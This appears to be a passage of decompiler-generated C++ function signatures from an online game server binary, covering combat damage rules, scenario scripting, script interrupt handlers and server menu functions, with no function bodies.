RulesOfEngagement::roe_MinMA_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxMA_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_AC_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MR_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_TH_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_TB_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); void __thiscall ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange(void *pObj, char send); int __thiscall RulesOfEngagement::roe_GetAttackPower(RulesOfEngagement *this, EngageArgument *argument); int __thiscall RulesOfEngagement::roe_AttackPowerCalcDamage(RulesOfEngagement *this, EngageArgument *argument, int nAttackPower, char nAttLevel); void __thiscall std::vector>::_Xran(std::vector > *this); long double __thiscall RulesOfEngagementNormalPY::roe_CriticalRateByGlobalAction(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_CriticalRateByGlobalAction(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRateByGlobalAction(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_CriticalRateByGlobalAction(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_ShieldBlockByGlobalAction(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_HitRateByGlobalAction(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_HitRateByGlobalAction(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_HitRateByGlobalAction(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_HitRateByGlobalAction(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); int __thiscall RulesOfEngagement::roe_CalcDamage(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_AttackPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_AttackPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_AttackPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_AttackPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); int __thiscall RulesOfEngagementNormalMA::roe_CalcHealPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); int __thiscall RulesOfEngagementNormalMA::roe_CalcHealPower_NoCri(RulesOfEngagementNormalMA *this, EngageArgument *argument); int __thiscall RuleOfEngagementHealAttack::roe_CalcDamage(RuleOfEngagementHealAttack *this, EngageArgument *argument); void __thiscall LuaScriptScenario::lss_Routine(LuaScriptScenario *this, const char *Entrance, LuaScriptArgument::LuaArgumentDefault *luaarg); void __thiscall Movie::FilmCase::FilmCase(Movie::FilmCase *this); void __thiscall Movie::FilmCase::FilmCase(Movie::FilmCase *this, char *scriptname); void __thiscall Movie::FilmCase::_FilmCase(Movie::FilmCase *this); int __thiscall Movie::FilmCase::fc_NameCompare(Movie::FilmCase *this, List *lst, unsigned __int16 hnd, Movie::FilmCase *key); char __thiscall ScenarioBookShelf::ScenarioBook::sb_IsExist(ScenarioBookShelf::ScenarioBook *this, char *filename, char *extend); void __thiscall Movie::Theater::Theater(Movie::Theater *this); void __thiscall Movie::Theater::_Theater(Movie::Theater *this); #1265 *__thiscall Movie::Theater::GetFieldMap(Movie::Theater *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushA(List *this, Movie::FilmCase *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, Movie::FilmCase *ele); char __thiscall List::l_PopZ(List *this, Movie::FilmCase *ele); char __thiscall ScenarioBookShelf::ScenarioBookPS::sb_Load(ScenarioBookShelf::ScenarioBookPS *this, char *fname); char __thiscall ScenarioBookShelf::ScenarioBookLua::sb_Load(ScenarioBookShelf::ScenarioBookLua *this, char *fname); void __thiscall Movie::PSFilm::PSFilm(Movie::PSFilm *this); void __thiscall Movie::LuaFilm::LuaFilm(Movie::LuaFilm *this); void __thiscall Movie::LuaFilm::_LuaFilm(Movie::LuaFilm *this); void __thiscall Movie::PSFilm::fb_ScriptInterrupt(Movie::PSFilm *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall Movie::CinemaComplex::_CinemaComplex(Movie::CinemaComplex *this); int __thiscall Movie::TimeLimit::tl_GetTimeLimit_Second(Movie::TimeLimit *this); void __thiscall Movie::TimeLimit::tl_SetTimeLimit(Movie::TimeLimit *this, char *timeunit, int arg); int __thiscall Movie::TimeLimit::tl_LeftTick(Movie::TimeLimit *this); void __thiscall Movie::Theater::t_SetArgument(Movie::Theater *this, #1265 *, #593 *); char __thiscall Movie::Theater::t_Routine(Movie::Theater *this, unsigned __int16 handle); char __thiscall List::l_PushZ(List *this, Movie::FilmCase *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_Clear(List *this); void __thiscall Movie::FilmBase::fb_SetArgument(Movie::FilmBase *this, #1265 *, #593 *); char __thiscall Movie::FilmBase::fb_Routine(Movie::FilmBase *this, unsigned __int16 handle); Movie::CinemaComplex *__thiscall Movie::CinemaComplex::cc_SetArgument(Movie::CinemaComplex *this, #1265 *, #593 *); void __thiscall Movie::CinemaComplex::cc_ScriptInterrupt(Movie::CinemaComplex *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); Movie::FilmCase *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(Movie::FilmCase *this, List *, unsigned __int16, Movie::FilmCase *), unsigned __int16 *hnd, Movie::FilmCase *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall Movie::FilmCase::fc_Routine(Movie::FilmCase *this, List *lst, unsigned __int16 handle); void __thiscall Movie::PSFilm::fb_SetInterruptClear(Movie::PSFilm *this); char __thiscall Movie::CinemaComplex::cc_IsDuringPlay(Movie::CinemaComplex *this, char *scriptname); #593 **__thiscall std::vector>::_Ufill(std::vector > *this, #593 **, unsigned int); ScenarioBookShelf::ScenarioBook *__thiscall ScenarioBookShelf::sbs_GetScenarioBook(ScenarioBookShelf *this, char *fname, int *scriptid); void __thiscall Movie::CinemaComplex::CinemaComplex(Movie::CinemaComplex *this); char __thiscall Movie::CinemaComplex::cc_DropFilm(Movie::CinemaComplex *this, char *scriptname, #1265 *field); int __thiscall Movie::Theater::t_PlayFilm(Movie::Theater *this, char *scriptname, PineScriptToken *initval, Name3 *fldindex); int __thiscall Movie::FilmBase::fb_PlayFilm(Movie::FilmBase *this, char *scriptname, PineScriptToken *initval, Name3 *fldindex); void __thiscall ScenarioBookShelf::_ScenarioBookShelf(ScenarioBookShelf *this); int __thiscall Movie::CinemaComplex::cc_PlayFilm(Movie::CinemaComplex *this, char *scriptname, PineScriptToken *initval, Name3 *fldindex); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScenarioBookShelf::ScenarioBook *const *_Val); void __thiscall ScenarioBookShelf::ScenarioBookShelf(ScenarioBookShelf *this); char __thiscall ScenarioBookShelf::sbs_Read(ScenarioBookShelf *this, char *fname); void __thiscall ScenarioBookShelf::sbs_ReadNAssert(ScenarioBookShelf *this, char *scriptname); void __thiscall ScenarioBookShelf::sbs_LoadScripts(ScenarioBookShelf *this); void __thiscall ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this); void __thiscall ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this); void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this); void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle(ScriptInterrupt::ScriptInterruptNPCClickHandle *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex(ScriptInterrupt::ScriptInterruptNPCClickIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny(ScriptInterrupt::ScriptInterruptNPCClickAny *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate(ScriptInterrupt::ScriptInterruptMobEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate(ScriptInterrupt::ScriptInterruptPlayerEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate(ScriptInterrupt::ScriptInterruptGuildEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval(ScriptInterrupt::ScriptInterruptInterval *this); void __thiscall ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow(ScriptInterrupt::ScriptInterruptHPLow *this); void __thiscall ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut(ScriptInterrupt::ScriptInterruptTimeOut *this); void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy(ScriptInterrupt::ScriptInterruptKillEnemy *this); void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this); void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead(ScriptInterrupt::ScriptInterruptPlayerDead *this); void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin(ScriptInterrupt::ScriptInterruptAdmin *this); void __thiscall ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull(ScriptInterrupt::ScriptInterruptHPFull *this); void __thiscall ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper(ScriptInterrupt::ScriptInterruptHPUpper *this); void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::InterruptEvent(ScriptInterrupt::ScriptInteruptWinGuild *this, ScriptInterrupt::ScriptInterruptArgument *pInterruptArument, ScriptInterrupt::InterruptEventArgument *pEventArument); char __thiscall MapBlock::MapBlockInformation::mbi_AreaLeave(MapBlock::MapBlockInformation *this, Name8 *areaindex, unsigned int x, unsigned int y); void __thiscall List::_List(List *this); void __thiscall ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this); ScriptInterrupt::ScriptInterruptArgument *__thiscall ScriptInterrupt::ScriptInterruptManager::sim_Alloc(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, ScriptInterrupt::ScriptInterruptBase *inst, PineScriptToken *eventblock, int num); char __thiscall ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck(ScriptInterrupt::ScriptInterruptUnitBase *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptMobEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptGuildEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck(ScriptInterrupt::ScriptInterruptInterval *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPLow::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPLow *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTimeOut *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPUpper::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPUpper *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); char __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center); void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInteruptWinGuild *this); char __thiscall List::l_PushA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall ScriptInterrupt::ScriptInterruptArgument::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall List::l_PopZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast(ScriptInterrupt::ScriptInterruptManager *this, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, #593 *center, unsigned int kq); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_NPCClick(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_TargetChange(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK(void *this, int netcmd, int len, __int16 handle); const char *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::GetName(ScriptInterrupt::ScriptInteruptWinGuild *this); void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::UpdateArgument(ScriptInterrupt::ScriptInteruptWinGuild *this, PineScriptToken *argument); void *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::_vector_deleting_destructor_(ScriptInterrupt::ScriptInteruptWinGuild *this, unsigned int); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); ScriptInterrupt::ScriptInteruptWinGuild *__cdecl ScriptInterrupt::ScriptInterruptUnit::GetInstance(); void __thiscall ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScriptInterrupt::ScriptInterruptUnitBase *const *_Val); ScriptInterrupt::ScriptInterruptUnitBase *__thiscall ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName(ScriptInterrupt::ScriptInterruptRegisterManager *this, const char *pkName); ScriptInterrupt::ScriptInterruptRegisterManager *__cdecl ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); void __thiscall ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(ScriptInterrupt::ScriptInterruptAdder *this, ScriptInterrupt::ScriptInterruptUnitBase *pScriptBase); bool __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit(ScriptInterrupt::ScriptInterruptManager *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall InventoryLocking::InventoryCellLock::icl_OnlyLock(CQuest *this, unsigned __int16 *nLocation, unsigned int *LocationX, unsigned int *LocationY); char __thiscall NPCAction::SkillCondition::needToAttach(CQuest *this); void __thiscall ShineObjectClass::ShineMobileObject::so_scene_MovePathSet(void *this, int locx, int locy, int stt); void __thiscall ShineObjectClass::ShineMobileObject::smo_MoveByScenario(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_scene_CreateItem(void *this, int itemid); void __thiscall ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet(void *this, __int16 item, int attr); void __thiscall ShineObjectClass::ShinePlayer::so_scene_EraseItem(void *this, __int16 itemid, int Num); void __thiscall ShineObjectClass::ShineDropItem::so_scene_EraseItem(ShineObjectClass::ShineDropItem *this, unsigned __int16 itemid, int Num); void __thiscall ShineObjectClass::ShineMob::so_scene_DetectRange(void *this, int range); char __thiscall ShineObjectClass::ShineMob::so_scene_IsIdle(void *this); unsigned __int16 *__cdecl std::copy(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest); void *__thiscall std::vector>::operator_(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::sm_scene_SetWeaponRate(void *this, int rRates); void __thiscall ServerMenuActor::_Selected::_Selected(ServerMenuActor::_Selected *this); int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReplyCheck(int this, int lnkinf); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall ServerMenuActor::_ServerMenuActor(ServerMenuActor *this); char __thiscall ServerMenuActor::sma_IsReady(ServerMenuActor *this); void __thiscall ServerMenuFuncter::smfm_Cancel(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_Link(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LinkToDungeon(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LinkWithoutNPC(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_BeReleased(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LuaFuncExec(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_DeleteInstanceDungeon(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ImmediateDivorce(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ImmediateDivorceCancel(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuActor::ServerMenuActor(ServerMenuActor *this); void __thiscall ServerMenuActor::sma_Reset(ServerMenuActor *this); void __thiscall ServerMenuActor::sma_Regist(ServerMenuActor *this, void (__thiscall *func)(ServerMenuFuncter *this, #734 *, ServerMenuArgument *), ServerMenuArgument *sma, CharModeClassifier allowMode); void __thiscall ServerMenuActor::sma_Reply(ServerMenuActor *this, #734 *, char); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveKQItem(void *this, int invenType); void __thiscall ChargedItemEffectDataBox::cideb_Home(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); char __thiscall SkillDataBox::sdb_Next(SkillDataBox *this, int *sub); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::sdb_Get(SkillDataBox *this, int *sub); unsigned int __thiscall 